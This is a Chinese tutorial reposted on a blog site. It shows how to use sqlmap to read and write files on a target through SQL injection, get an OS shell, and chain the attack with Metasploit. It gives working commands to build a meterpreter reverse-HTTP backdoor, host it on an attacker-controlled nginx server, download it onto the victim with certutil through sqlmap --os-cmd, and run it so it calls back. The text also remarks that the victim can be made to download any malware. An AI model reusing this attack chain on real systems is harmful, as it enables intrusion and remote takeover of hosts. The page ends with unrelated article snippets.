sqlmap(五)

一、进行文件读写操作

1.1 前提条件

高权限
目录有读写权限

secure_file_priv = " "

1.2 测试目标

第一步:用抓包的方式获取请求测试站点的数据包   可以使用Burpsuite

第二步:将抓到的数据包,保存到sqlmap目录下的a.txt
第三步:进行测试

python sqlmap.py -r a.txt --purge

其他测试

测试用户
python sqlmap.py -r a.txt --current-user
python sqlmap.py -r a.txt --is-dba

1.3 进行文件读写

--file-read "文件名"

--file-write "源文件" --file-dest "目标文件"          将源文件中内容读出,然后写入到目标文件中

案例一:读取远程主机上D盘下n1.txt 中的内容

python sqlmap.py -r a.txt --file-read "d:/n1.txt"

案例二:将本地主机中,F盘下的n1.txt中的内容读取出来,写入到远程主机的D盘下的a09.php中

python sqlmap.py -r a.txt --file-write "F:/n1.txt" --file-dest "D:/a09.php"

二、获取主机shell

2.1 前提条件

  • 高权限
  • 目录有读写权限
  • secure_file_priv = " "
  • 数据库用户有读写权限

注意:

  • 仅对MySQL、MSSQL、PosgreSQL有效

2.2 基本原理

获取shell

注入攻击的最终目的就是为了获取目标主机的控制权,也就是为了获取目标主机的shell。

sqlmap能够在数据库所在服务器的操作系统上运行任意的命令

格式:

  • sqlmap -u "URL" --os-shell                 获取系统交互
  • sqlmap -u "URL" --os-cmd=命令        直接执行系统命令

执行命令的原理

  • 原理就是在执行--os-shell 或 --os-cmd=xxx的时候,会上传一个 upload 木马后,再上传一个cmd shell
  • 当 --os-shell 退出后,会调用后门脚本删除上传文件后,进行自删除
  • 在MySQL和PostgreSQL中,sqlmap可以上传一个包含两个用户自定义函数,分别为sys_exec()和sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
  • 在Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的2005及以上版本默认关闭),sqlmap则会将其重新打开;如果该存储过程不存在,sqlmap则会重新创建它,当用户请求标准输出,sqlmap将使用任何可用的SQL注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
  • 如果堆叠查询没有被Web应用识别出来,并且 DBMS 为MySQL,加入后端DBMS和Web服务器在同一台服务器上,则仍可以通过利用SELECT 语句中的INTO OUTFILE,在根目录可写目录中写shell。

2.3 获取shell

说明

目标网站在Win10虚拟机中

禁用了secure_file_priv

操作步骤

也可以直接执行命令

python sqlmap.py -r 2.txt --os-cmd=ipconfig

注意:

这里所执行的命令,可以是任意命令,比如下载命令,因此可以控制远程主机下载恶意程序

2.4 联合msf

msf的简单介绍

后渗透工具

用于实现内网渗透和提权

基本思路

第一步:基于msf生成后门程序

第二步:将后门程序上传到目标主机可以访问的服务器之上【云主机】

第三步:在目标主机上进行远程下载,将后面程序下载到目标主机

实现流程

打开kali

1、启动msf

msfconsole

2、创建后门

msfvenom -p windows/meterpreter/reverse_http lhost=172.16.100.222 lport=5050 -f exe -o sql.exe
  • lhost=172.16.100.222         后门服务端地址【kali地址】
  • lport=5050                           后门服务端端口【kali端口】
  • -f exe                                   生成后门文件类型是exe文件
  • -o sql.exe                            指定生成的后门文件名

3、服务端开始监听反弹链接信息【kali中】

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 5050
msf6 exploit(multi/handler) > run[*] Started HTTP reverse handler on http://0.0.0.0:5050   #看到此信息,说明已经开始监听

4、将生成的后门文件放到目标主机可以访问的服务器上

在真实环境中,可以购买一个云主机,本例中,直接在kali中安装了一个nginx作为服务器就可以,然后将生成sql.exe放到nginx的网站跟目录中即可

apt-get install nginx
systemctl enable nginx
systemctl start nginx
lsof -i :80cd /var/www/html
echo "<h1>Hello Word</h1>" >index.html

将做好的sql.exe放到网站根目录
mv sql.exe /var/www/html/

5、在目标主机上执行名

通过sql注入漏洞,在目标主机上执行下载命令,下载sql.exe

python sqlmap.py -r 2.txt --of-cmd="certutil -urlcache -sqlit -f http://172.16.100.222/sql.exe c:/sql.exe"

然后再在目标主机上执行这个后门程序

python sqlmap.py -r 2.txt --os-cmd="c:/sql.exe"

一旦这个程序被运行,就会主动连接外部的172.16.100.222的5050端口

此时,在msf上会发现目标主机上线了 

可以执行命令看看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/596481.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

租用阿里云4核16G服务器优惠价格多少钱?

阿里云4核16G服务器优惠价格26.52元1个月、79.56元3个月、149.00元半年&#xff0c;配置为阿里云服务器ECS经济型e实例ecs.e-c1m4.xlarge&#xff0c;4核16G、按固定带宽 10Mbs、100GB ESSD Entry系统盘&#xff0c;活动链接 aliyunfuwuqi.com/go/aliyun 活动链接打开如下图&a…

JS 利用 webcam访问摄像头 上传到服务器

webcam JS 较为详细的指南 定义标题 <!doctype html> <html> <head><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>How to capture picture from webcam with Webcam.js</title></…

PTA C 1050 螺旋矩阵(思路与优化)

本题要求将给定的 N 个正整数按非递增的顺序&#xff0c;填入“螺旋矩阵”。所谓“螺旋矩阵”&#xff0c;是指从左上角第 1 个格子开始&#xff0c;按顺时针螺旋方向填充。要求矩阵的规模为 m 行 n 列&#xff0c;满足条件&#xff1a;mn 等于 N&#xff1b;m≥n&#xff1b;且…

【保姆级教程】如何在 Windows 上实现和 Linux 子系统的端口映射

写在前面 上次分享【保姆级教程】Windows上安装Linux子系统&#xff0c;搞台虚拟机玩玩&#xff0c;向大家介绍了什么是虚拟机以及如何在Windows上安装Linux虚拟机。对于开发同学而言&#xff0c;经常遇到的一个问题是&#xff1a;很多情况下代码开发需要依赖 Linux 系统&…

Centos7下docker安装jenkins【使用docker-compose图文教程】

个人记录 前置条件&#xff1a;安装Docker与Docker-compose Centos7安装Docker与Docker-compose【图文教程】 查看jenkins最新的版本 https://www.jenkins.io/download/ 配置docker-compose.yml vim docker-compose.yml按i进行编辑模式&#xff0c;粘贴如下内容。把image里…

常见现代卷积神经网络(Pytorch 09)

本章将介绍现代的 卷积神经网络架构&#xff0c;许多现代卷积神经网络的研究都是建立在这一章的基础上的。在本章中的每一个模型都曾一度占据主导地位&#xff0c;其中许多模型都是 ImageNet竞赛 的优胜者。ImageNet竞赛自2010年以来&#xff0c;一直是计算机视觉中监督学习进展…

.NET8 和 Vue.js 的前后端分离

在.NET 8中实现前后端分离主要涉及到两个部分&#xff1a;后端API的开发和前端应用的开发。后端API通常使用ASP.NET Core来构建&#xff0c;而前端应用则可以使用任何前端框架或技术栈&#xff0c;比如Vue.js、React或Angular等。下面是一个简化的步骤指南&#xff0c;帮助你在…

深入浅出 -- 系统架构之Keepalived搭建双机热备

Keepalived重启脚本双机热备搭建 ①首先创建一个对应的目录并下载keepalived安装包&#xff08;提取码:s6aq&#xff09;到Linux中并解压&#xff1a; [rootlocalhost]# mkdir /soft/keepalived && cd /soft/keepalived [rootlocalhost]# wget https://www.keepalived.…

隐私计算实训营学习九:隐语多方安全计算在安全核对的行业实践

文章目录 一、业务背景&#xff1a;安全核对产生的土壤二、产品方案&#xff1a;从试点到规模化的路三、技术共建&#xff1a;与隐语的共同成长 一、业务背景&#xff1a;安全核对产生的土壤 业务背景&#xff1a;很多粗放使用数据的方式被新出台的法律法规所规范&#xff0c;…

基于vue+node.js导师选择分配管理系统

开发语言 node.js 框架&#xff1a;Express 前端:Vue.js 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat 开发软件&#xff1a;VScode .设计一套导师选择管理系统&#xff0c;帮助学校进行导师选择管理等繁琐又重复的工作&#xff0c;提高工作效率的同时&#xff0c…

【leetcode面试经典150题】16.接雨水(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主&#xff0c;题解使用C语言。&#xff08;若有使用其他语言的同学也可了解题解思路&#xff0c;本质上语法内容一致&…

【unity】【C#】延时调用(协程)和场景管理

文章目录 什么是协程协程的应用 - IEnumerator如何控制协程的暂停协程的另一种写法 - Invoke场景管理 多看代码块中的注释 什么是协程 A coroutine alows vou to spreacwhere it left off on the following anc return control toolinencoeframe. 协程允许您将任务分布在多个帧…